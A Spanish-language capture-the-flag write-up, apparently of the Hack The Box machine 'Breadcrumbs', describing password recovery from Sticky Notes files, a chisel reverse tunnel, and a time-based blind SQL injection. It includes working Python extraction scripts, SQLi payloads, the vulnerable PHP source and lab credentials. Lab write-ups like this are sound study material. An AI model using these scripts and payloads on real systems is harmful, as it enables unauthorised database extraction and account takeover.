C:\Users\Username\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
Se encuentran archivos relacionados con Sticky Notes
y si, validando encontramos la ruta:
PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> ls -force
Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/15/2021 4:10 PM 20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a---- 11/29/2020 3:10 AM 4096 plum.sqlite
-a---- 1/15/2021 4:10 PM 32768 plum.sqlite-shm
-a---- 1/15/2021 4:10 PM 329632 plum.sqlite-wal
Si leemos el archivo plum.sqlite-wal
vemos algún tipo de traza:
Claramente vemos la contraseña de juliette
y lo que parece ser otra contraseña de un usuario llamado development
, si hacemos una validación rápida de los usuarios tenemos:
PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> dir c:\Users
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/26/2021 9:06 AM Administrator
d----- 1/26/2021 9:11 AM development
d----- 2/1/2021 5:48 AM juliette
d-r--- 1/15/2021 3:43 PM Public
d----- 2/8/2021 10:13 PM www-data
Bien, existe…
También vemos la traza del usuario administrator
, pero de él no vemos nada relevante… Probemos con esa cadena contra el usuario development
sobre el servicio SSH
:
Opa, efectivamente, tenemos una sesión como development
, a ver que encontramos en él…
…
Escalada de privilegios #
En la raíz del sistema encontramos una carpeta relacionada con nuestro usuario:
PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/15/2021 4:03 PM Anouncements
d----- 1/15/2021 4:03 PM Development
d----- 12/7/2019 1:14 AM PerfLogs
d-r--- 2/1/2021 7:50 AM Program Files
d-r--- 12/7/2019 1:54 AM Program Files (x86)
d-r--- 1/17/2021 1:41 AM Users
d----- 2/1/2021 1:10 AM Windows
PS C:\>
Dentro tenemos:
PS C:\> cd .\Development\
PS C:\Development> dir
Directory: C:\Development
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/29/2020 3:11 AM 18312 Krypter_Linux
Algo curioso es que el owner
del archivo es juliette
, pero con su sesión no podemos entrar en esa carpeta, jmm.
PS C:\Development> Get-Acl .\Krypter_Linux
Directory: C:\Development
Path Owner Access
---- ----- ------
Krypter_Linux BREADCRUMBS\juliette NT AUTHORITY\SYSTEM Allow ReadAndExecute, Synchronize...
Tambien podemos ver el owner en la cmd usando
dir /q
.
Inspeccionemos el archivo… (No nos deja ejecutarlo)
PS C:\Development> type .\Krypter_Linux
⌂ELF☻☺☺♥>☺...
...
New project by Juliette.
New features added weekly!
What to expect next update:
- Windows version with GUI support
- Get password from cloud and AUTOMATICALLY decrypt!
***
Requesting decryption key from cloud...
Account: Administratorhttp://passmanager.htb:1234/index.phpmethod=select&username=administrator&table=passwordsServer response:
Incorrect master keyNo key supplied.
USAGE:
...
Vale vale valeeee, encontramos cosas interesantes:
- Es un binario
ELF
. - Creado efectivamente por
juliette
. - Hace peticiones para desencriptar llaves desde la nube.
Account
:Administrator
(raro)- Servicio sirviendo en el puerto
1234
del dominiopassmanager.htb
.
http://passmanager.htb:1234/index.php?method=select&username=administrator&table=passwords
Podemos pensar en un Port Forwarding, validemos si el puerto esta escuchando localmente:
PS C:\Development> netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:22 Breadcrumbs:0 LISTENING
TCP 0.0.0.0:80 Breadcrumbs:0 LISTENING
...
TCP 127.0.0.1:1234 Breadcrumbs:0 LISTENING
...
Si lo esta…
Intentemos pasarnos el binario a nuestra máquina, a ver si logramos ejecutarlo.
Nos compartimos una carpeta con SMB
, la llamaré smbFolder
:
❭ python3 smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Y ahora en la máquina Windows, le indicamos que nos copie ese binario a través de una carpeta compartida en la red:
PS C:\Development> copy .\Krypter_Linux \\10.10.14.194\smbFolder\Krypter_Linux
Recibimos info en nuestro servidor de la conexión entrante y ya tendríamos el binario:
❭ file Krypter_Linux
Krypter_Linux: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped
❭ ./Krypter_Linux
Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
- Windows version with GUI support
- Get password from cloud and AUTOMATICALLY decrypt!
***
No key supplied.
USAGE:
Krypter <key>
…
Podemos apoyarnos de cURL
e intentar visitar el recurso al cual se esta llamando en el binario:
PS C:\Development> curl "http://passmanager.htb:1234/index.php?method=select&username=administrator&table=passwords"
curl : The remote name could not be resolved: 'passmanager.htb'
...
Exacto. Pero como ya vimos, esta localmente activo, asi que cambiémosla por localhost
:
PS C:\Development> curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords"
curl : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the
UseBasicParsing parameter and try again.
...
Nos indica que debemos agregarle el parámetro UseBasicParsing
por unos temas de configuración con Internet Explorer
:
PS C:\Development> curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords" -UseBasicParsing
StatusCode : 200
StatusDescription : OK
Content : selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
RawContent : HTTP/1.1 200 OK
Content-Length: 96
Content-Type: text/html; charset=UTF-8
Date: Sat, 13 Mar 2021 04:01:30 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
X-Powered-By: PHP/8.0.1
sel...
Forms :
Headers : {[Content-Length, 96], [Content-Type, text/html; charset=UTF-8], [Date, Sat, 13 Mar 2021 04:01:30 GMT], [Server, Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml :
RawContentLength : 96
Ahora sí, tenemos una aes_key
, una cabecera y nada más…
Si provocamos un error obtenemos:
PS C:\Development> curl "http://localhost:1234/index.php?method=select&username=administrator&table='" -UseBasicParsing
StatusCode : 200
StatusDescription : OK
Content : select<br />
<b>Fatal error</b>: Uncaught TypeError: mysqli_fetch_all(): Argument #1 ($result) must be of type mysqli_result, bool given in
C:\Users\Administrator\Desktop\passwordManager\htdocs\index...
RawContent : HTTP/1.1 200 OK
...
Probablemente debamos hacer SQLi
o incluso fuzzing
para encontrar otras tablas, pero intentando por consola no logre nada, además podemos pensar que el output es más grande y ejecutándolo por consola no nos lo muestra completo, quizás por medio de la web obtengamos algo diferente, hagamos el Remote Port Forwarding
, usaré chisel:
Atacante (server):
En su repo descargar en binario para:
- Windows:
chisel_1.7.6_windows_amd64.gz
. - Linux:
chisel_1.7.6_linux_amd64.gz
.
(Esto para tener la misma version en los dos binarios y que no nos genere problemas de compatibilidad)
#Para montarnos el server más adelante
❭ gunzip chisel_1.7.6_linux_amd64.gz
❭ mv chisel_1.7.6_linux_amd64 chisel
❭ chmod +x chisel
#El binario a subir en la máquina Windows (descargado del repo)
❭ gunzip chisel_1.7.6_windows_amd64.gz
❭ upx chisel_1.7.8_windows_amd64 #Hacemos el binario un toque más liviano
❭ mv chisel_1.7.6_windows_amd64 chisel.exe
❭ python3 smbserver.py smbFolder $(pwd) -smb2support
...
Victima (cliente):
PS C:\Users\development\Videos> copy \\10.10.14.194\smbFolder\chisel.exe C:\Users\development\Videos\chisel.exe
PS C:\Users\development\Videos> .\chisel.exe
Usage: chisel [command] [--help]
Version: 1.7.6 (go1.16rc1)
Commands:
server - runs chisel in server mode
client - runs chisel in client mode
Read more:
https://github.com/jpillora/chisel
Atacante (server):
#Nos ponemos en escucha por el puerto 1111
❭ ./chisel server -p 1111 --reverse
2021/03/13 25:25:25 server: Reverse tunnelling enabled
2021/03/13 25:25:25 server: Fingerprint 1kWWQwYT0YxKjY9xsxSSL76G0IJLlLThmvRQ+t/ZdoE=
2021/03/13 25:25:25 server: Listening on http://0.0.0.0:1111
Victima (cliente):
PS C:\Users\development\Videos> .\chisel.exe client 10.10.14.194:1111 R:1234:localhost:1234
2021/03/12 25:25:25 client: Connecting to ws://10.10.14.194:1111
2021/03/12 25:25:25 client: Connected (Latency 117.0553ms)
...
- Le indicamos el puerto e IP en el que estamos escuchando:
10.10.14.194:1111
. - Cuando obtengamos la conexión, el puerto
1111
pasara a ser el puerto1234
que se esta sirviendo localmentelocalhost:1234
.
Atacante (server):
...
2021/03/13 25:25:25 server: session#1: tun: proxy#R:1234=>localhost:1234: Listening
Listo, validemos:
❭ curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords"
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
En la web:
…
Despues de algo de pruebas sobre la URL, logramos obtener nuestro SQLi
(es uno basado en tiempo), el parámetro vulnerable es username
, con este simple payload logramos darle a la página un tiempo de respuesta de 5
segundos, si refrescamos y la página se demora ese tiempo, quiere decir que tenemos inyección (:
http://127.0.0.1:1234/index.php?method=select&username=administrator' AND sleep(5) AND '1'='1&table=passwords
o
http://127.0.0.1:1234/index.php?method=select&username=a' OR sleep(5) AND '1'='1&table=passwords
Listo, podemos crearnos un script para automatizar la extracción de la data.
(Si recordamos cuando encontramos el archivo db.php
habla de la base de datos llamada bread
, podríamos saltarnos este paso, pero igual se los quiero mostrar para que vean como es el proceso)
…
SQL injection - time based (blind) ⌖
Obtenemos nombre de la base de datos.
👀
#!/usr/bin/python3
import requests, time
from pwn import *
url = "http://localhost:1234/index.php"
p1 = log.progress("SQLi blind")
p2 = log.progress("Database name")
session = requests.Session()
# Creamos nuestro "diccionario"
dic_letters = "abcdefghijklmnopqrstuvwxyz0123456789.+!$#-~}:\"\'{*][%,&/\)(=ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result = ""
# Recorrera 16 posiciones en la palabra, osea para intentar encontrar 16 caracteres
for position in range(1, 16):
# Toma cada caracter de nuestro "dic"
for letter in dic_letters:
# Extrae el tiempo antes de la peticion
time_now = time.time()
payload = "?method=select&"
payload += "username=administrator' and if(substr(database(),%d,1)='%s',sleep(3),1) and '1'='1&" % (position, letter)
payload += "table=passwords"
p1.status(payload)
r = session.get(url + payload)
# Extrae el tiempo despues de la peticion
time_after = time.time()
# Validamos los tiempos, si hay diferencia de 3 o más, sabemos que esa peticion hablo con la base de datos, por lo tanto extraemos la letra
if time_after - time_now > 2:
result += letter
p2.status(result)
break
p1.success("Done")
p2.success(result)
No sé por qué toma los +
como caracteres válidos, pero bueno, obtenemos el nombre de la base de datos: bread
.
…
Obtenemos tablas de la base de datos bread.
👀
...
# Para ir iterando entre las tablas, en este caso iterar en 5 tablas (asi evitamos errores)
for table_num in range(0, 5):
p4 = log.progress("Table name")
for position in range(1, 16):
for letter in dic_letters:
time_now = time.time()
payload = "?method=select&"
payload += "username=administrator' and if(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='bread' LIMIT %d,1),%d,1)='%s',sleep(3),1) and '1'='1&" % (table_num, position, letter)
payload += "table=passwords"
...
Interesante, solo hay una tabla llamada passwords
, extraigamos sus columnas…
…
Obtenemos columnas de la tabla passwords.
👀
...
# Iteramos entre las columnas
for column_num in range(0, 5):
p4 = log.progress("Column name")
for position in range(1, 16):
for letter in dic_letters:
time_now = time.time()
payload = "?method=select&"
payload += "username=administrator' and if(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='bread' and table_name='passwords' LIMIT %d,1),%d,1)='%s',sleep(3),1) and '1'='1&" % (column_num, position, letter)
payload += "table=passwords"
...
Perfecto, tenemos 4 columnas, enfoquémonos en las columnas account
y password
para asi entender de quien es cada password.
aeskey
es realmenteaes_key
, me di cuenta relacionandolo con la respuesta normal antes de hacer el SQLi (y pues que me faltaba ese char en el dic).
…
Obtenemos la información de la columna account.
👀
...
for acc_num in range(0, 3):
p4 = log.progress("Account")
for position in range(1, 16):
for letter in dic_letters:
time_now = time.time()
payload = "?method=select&"
payload += "username=administrator' and if(substr((SELECT account FROM passwords LIMIT %d,1),%d,1)='%s',sleep(3),1) and '1'='1&" % (acc_num, position, letter)
payload += "table=passwords"
...
Nice, solo hay un usuario, administrator
, ahora veamos el contenido del campo password
relacionado con el usuario administrator
.
…
Obtenemos la información de la columna password.
👀
...
p2 = log.progress("Password administrator")
# Agregamos mas posiciones, quizas la contraseña es larga
for position in range(1, 70):
for letter in dic_letters:
time_now = time.time()
payload = "?method=select&"
payload += "username=administrator' and if(substr((SELECT password FROM passwords WHERE account='administrator'),%d,1)='%s',sleep(3),1) and '1'='1&" % (position, letter)
payload += "table=passwords"
...
Opa, (vemos los +
asi que cortamos desde ahí) obtenemos la contraseña del usuario administrator
. (Antes de probarla contra SSH
) creo que no nos va a funcionar, ya que no distinguió entre mayúsculas y minúsculas… Y pues es muy raro que no tengamos ni una mayúscula en una password tan larga.
Intentamos conectarnos por medio de SSH
:
❭ ssh administrator@10.10.10.228
administrator@10.10.10.228's password:
Permission denied, please try again.
Efectivamente, no logramos entrar, asi que buscando en internet hay dos maneras para que mysql
haga uso del case sensitive
, la más sencilla es usar BINARY
al lado del objeto que estamos buscando:
SPOILER MÁQUINA CACHE: La manera de los valores ascii la use en la máquina Cache, por si quieren hecharle un ojo.
👀
...
payload = "?method=select&"
payload += "username=administrator' and if(substr((SELECT BINARY password FROM passwords WHERE account='administrator'),%d,1)='%s',sleep(3),1) and '1'='1&" % (position, letter)
payload += "table=passwords"
...
Listo, ahora si (además que no nos muestra los +
, asi que solucionamos dos problemas en uno), pero intentando con esa contraseña no obtenemos acceso tampoco…
Acá fue donde pense en la columna
aes_key
y que me faltaba el char “_
” en el dic, (aca aún no me habia dado cuenta que me faltaba) asi que lo agregue y volvi a intentar, pero no, obtenemos la misma contraseña.
Asi que debemos hacer algo con:
H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=
Si relacionamos la aes-key
podemos pensar que debemos usarla para desencriptar la password y despues ahí si usarla contra el usuario administrator
sobre SSH
…
Nos responde con una cadena en base64
, si la tomamos y la decodeamos obtenemos la contraseña real:
❭ echo "cEBzc3cwcmQhQCMkOTg5MC4v" | base64 -d ; echo
p@ssw0rd!@#$9890./
Yyyy si ahora intentamos por SSH
:
SIIIIIIIIIIIIIIIIIIIIIIIII, ufff somos el usuario administrator dentro de la máquina.
Y si, solo nos quedarían ver las flags:
…
Les dejo el código vulnerable al SQLi
por si le quieren echar un ojo:
PS C:\Users\Administrator\Desktop\passwordManager\htdocs> type .\index.php
<?php
$host="localhost";
$port=3306;
$user="passwordM";
$password="hWjSh812jDn1asd./213-91!#(";
$dbname="bread";
$method = "";
$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());
if(isset($_REQUEST['method'])){
$method = $_REQUEST['method'];
}
echo $method;
if($method == "select"){
$sql = "SELECT aes_key FROM ".$_REQUEST['table']." WHERE account='".$_REQUEST['username']."'";
$results = $con->query($sql);
echo var_dump(mysqli_fetch_all($results,MYSQLI_ASSOC));
}
else{
echo "Bad Request";
}
…
Linda máquina, mucho jugueteo con inyecciones, lo cual me encantó. El LFI
fue loco de encontrar, pero prestando atención lo logramos. El tema de las cookies
no sé que tan real puede ser (me suena que si), pero me gusto bastante también. Y la inyección SQL
la disfruté un montón. En definitiva, excelente máquina para practicar este tipo de ataques.
Además me sirvió para practicar mi scripting y crear lindos recursos para futuros usos:
- RCE mediante el archivo .php (me gusto resto el script).
- SQLi, fases para obtener la info de la base de datos.
Por fin hemos llegado al final (e.e 🏃♀️ la disfruté mucho) nos leeremos en otra ocasión y como siempre, muchas gracias y a seguir rompiendo todo (:
Comments